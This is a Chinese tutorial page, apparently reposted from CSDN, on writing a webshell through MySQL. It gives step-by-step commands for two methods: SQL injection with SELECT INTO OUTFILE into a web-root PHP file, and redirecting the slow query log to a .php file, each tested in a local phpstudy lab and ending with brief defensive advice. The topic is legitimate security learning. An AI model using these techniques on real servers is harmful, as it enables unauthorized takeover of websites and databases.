我的编程空间,编程开发者的网络收藏夹
学习永远不晚

mysql写shell

短信预约 -IT技能 免费直播动态提醒
省份

北京

  • 北京
  • 上海
  • 天津
  • 重庆
  • 河北
  • 山东
  • 辽宁
  • 黑龙江
  • 吉林
  • 甘肃
  • 青海
  • 河南
  • 江苏
  • 湖北
  • 湖南
  • 江西
  • 浙江
  • 广东
  • 云南
  • 福建
  • 海南
  • 山西
  • 四川
  • 陕西
  • 贵州
  • 安徽
  • 广西
  • 内蒙
  • 西藏
  • 新疆
  • 宁夏
  • 兵团
手机号立即预约

请填写图片验证码后获取短信验证码

看不清楚,换张图片

免费获取短信验证码

mysql写shell

mysql写shell

一、Sql注入写shell

原理:select into outfile命令作用将查询结果输出保存到一个文件中
通过sql注入写shell的三个条件:

  1. 知道绝对路径
  2. Secure_file_priv开启
    1.png
    一般Secure_file_priv=null,即不允许导入导出,在mysql中my.ini的[mysqld]中添加一行“Secure_file_priv=”,然后重启mysql,让配置生效。
  3. 目录要有写的权限
    利用sql注入写入sql语句:select 1,2,“” into outfile “D:/phpstudy/phpstudy_pro/WWW/1.php”
    Mysql中select into outfile命令作用将查询结果输出保存到一个文件中,以上语句会保存到1.php文件中
    2.png
    随便什么刀连接一下
    3.png
    Getshell成功
    防护建议:利用sql注入漏洞结合数据库的输出文本功能形成getshell,对输入数据的严格审查过滤

二、慢日志查询写shell

知道mysql登录密码
2.phpmyadmin开放或者有机会操纵数据库
**原理:**查询超过10秒的语句会被写到慢查询日志文件中去,这样就可以进行文件写入。
查询慢日志查询功能是否开启
4.png
开启慢查询日志功能:set global slow_query_log=1;再次查询
5.png
更改日志文件地址:set global slow_query_log_file=‘D:\phpstudy\phpstudy_pro\WWW\3.php’;查询
6.png
查询内容并超过:select ‘’ or sleep(11);
7.png
连它
8.png
防护建议:利用mysql正常的功能输出木马文件,弱密码要不得

来源地址:https://blog.csdn.net/weixin_47385895/article/details/126471862

免责声明:

① 本站未注明“稿件来源”的信息均来自网络整理。其文字、图片和音视频稿件的所属权归原作者所有。本站收集整理出于非商业性的教育和科研之目的,并不意味着本站赞同其观点或证实其内容的真实性。仅作为临时的测试数据,供内部测试之用。本站并未授权任何人以任何方式主动获取本站任何信息。

② 本站未注明“稿件来源”的临时测试数据将在测试完成后最终做删除处理。有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341

mysql写shell

下载Word文档到电脑,方便收藏和打印~

下载Word文档

猜你喜欢

2023-09-15

MYSQL突破secure_file_priv写shell问题

这篇文章将为大家详细讲解有关MYSQL突破secure_file_priv写shell问题,小编觉得挺实用的,因此分享给大家做个参考,希望大家阅读完这篇文章后可以有所收获。利用 MySQL secure_file_priv 限制绕过写 Shell 漏洞简介MySQL secure_file_priv 限制是一种安全措施
MYSQL突破secure_file_priv写shell问题
2024-04-02

技术分享 | 如何编写 MySQL Shell 插件

作者:洪斌爱可生南区负责人兼技术服务总监,MySQL  ACE,擅长数据库架构规划、故障诊断、性能优化分析,实践经验丰富,帮助各行业客户解决 MySQL 技术问题,为金融、运营商、互联网等行业客户提供 MySQL 整体解决方案。本文来源:转载自公众号-玩转My
技术分享 | 如何编写 MySQL Shell 插件
2016-08-09

如何编写shell

这篇文章主要介绍了如何编写shell,具有一定借鉴价值,感兴趣的朋友可以参考下,希望大家阅读完这篇文章之后大有收获,下面让小编带着大家一起了解一下。引语:我本人以前并没有写过shell脚本,也许是因为懒,也许是没有被逼到要去写shell的地
2023-06-09

Shell脚本注释写法

一、单选注释 以“#”开头的行就是注释,会被解释器忽略。#--------------------------------------------# 这是一个自动打ipa的脚本,基于webfrogs的ipa-build书写:# https:
2022-06-04

如何写好shell脚本

这篇文章给大家分享的是有关如何写好shell脚本的内容。小编觉得挺实用的,因此分享给大家做个参考,一起跟随小编过来看看吧。前言产品的最终用户通常不懂技术,所以不管你怎么折腾产品代码都无所谓。但脚本代码不一样,它们是开发人员写给开发人员的。有
2023-06-09

用shell脚本连接、读写、操作mysql数据库实例

本篇内容介绍了“用shell脚本连接、读写、操作mysql数据库实例”的有关知识,在实际案例的操作过程中,不少人都会遇到这样的困境,接下来就让小编带领大家学习一下如何处理这些情况吧!希望大家仔细阅读,能够学有所成!1. 连接mysql 数据
2023-06-09

一个shell写的ping函数

#!/bin/bash#2013-01-06 14:00:00 wanggy exp#note:ping monitorset -u#set -xping_fun(){ d_network=192.168.1 echo -n "
2022-06-04

linux如何编写shell脚本

编写Linux的shell脚本可以使用任何文本编辑器,如vi、nano、gedit等。以下是编写shell脚本的一般步骤:1. 打开一个文本编辑器,创建一个新文件,文件扩展名通常是.sh,表示这是一个shell脚本。2. 添加#!/bin/
2023-09-15

Shell文件包含怎么写

小编给大家分享一下Shell文件包含怎么写,相信大部分人都还不怎么了解,因此分享这篇文章给大家参考一下,希望大家阅读完这篇文章后大有收获,下面让我们一起去了解一下吧!Shell 文件包含的语法格式如下:. filename # 注意点号
2023-06-05

如何编写Linux Shell脚本

这篇文章主要为大家展示了“如何编写Linux Shell脚本”,内容简而易懂,条理清晰,希望能够帮助大家解决疑惑,下面让小编带领大家一起研究并学习一下“如何编写Linux Shell脚本”这篇文章吧。代码风格规范开头有“蛇棒”所谓sheba
2023-06-16

linux中如何编写shell脚本

在Linux中,可以使用任何文本编辑器编写Shell脚本。以下是编写Shell脚本的一般步骤:打开终端并创建一个新的文本文件,例如my_script.sh。在文件的第一行添加Shebang,指定要使用的Shell解释器。例如,要使用Bash
2023-10-23

centos中怎么编写shell脚本

在CentOS中编写Shell脚本主要有以下几个步骤:打开终端,创建一个新文件,例如script.sh,可以使用touch script.sh命令创建一个空白文件。使用文本编辑器(如vi或nano)打开脚本文件,例如使用vi script.
2023-10-23

shell脚本编写之初级版

1. shell脚本的执行顺序是从上而下的,面向过程。2. 文件名称格式: xxx.sh3. 文件内容的第一行: #!/bin/bash4. shell脚本就是将命令全部融合在一起5. 定义变量 shell脚本的变量是以:k
2023-06-06

如何编写Shell脚本注释

本篇内容介绍了“如何编写Shell脚本注释”的有关知识,在实际案例的操作过程中,不少人都会遇到这样的困境,接下来就让小编带领大家学习一下如何处理这些情况吧!希望大家仔细阅读,能够学有所成!一、单选注释以“#”开头的行就是注释,会被解释器忽略
2023-06-09

shell linux中如何用shell写一个占用CPU的脚本

使用场景:向公司申请的虚机资源自己工作用的比较方便,因占用较小basis要求回收掉,现写一个脚本,让CPU跑满一些。 首先看下共有几颗逻辑CPUcat /proc/cpuinfo |grep "processor"|wc -l上图可以看到是
2022-06-04

编程热搜

目录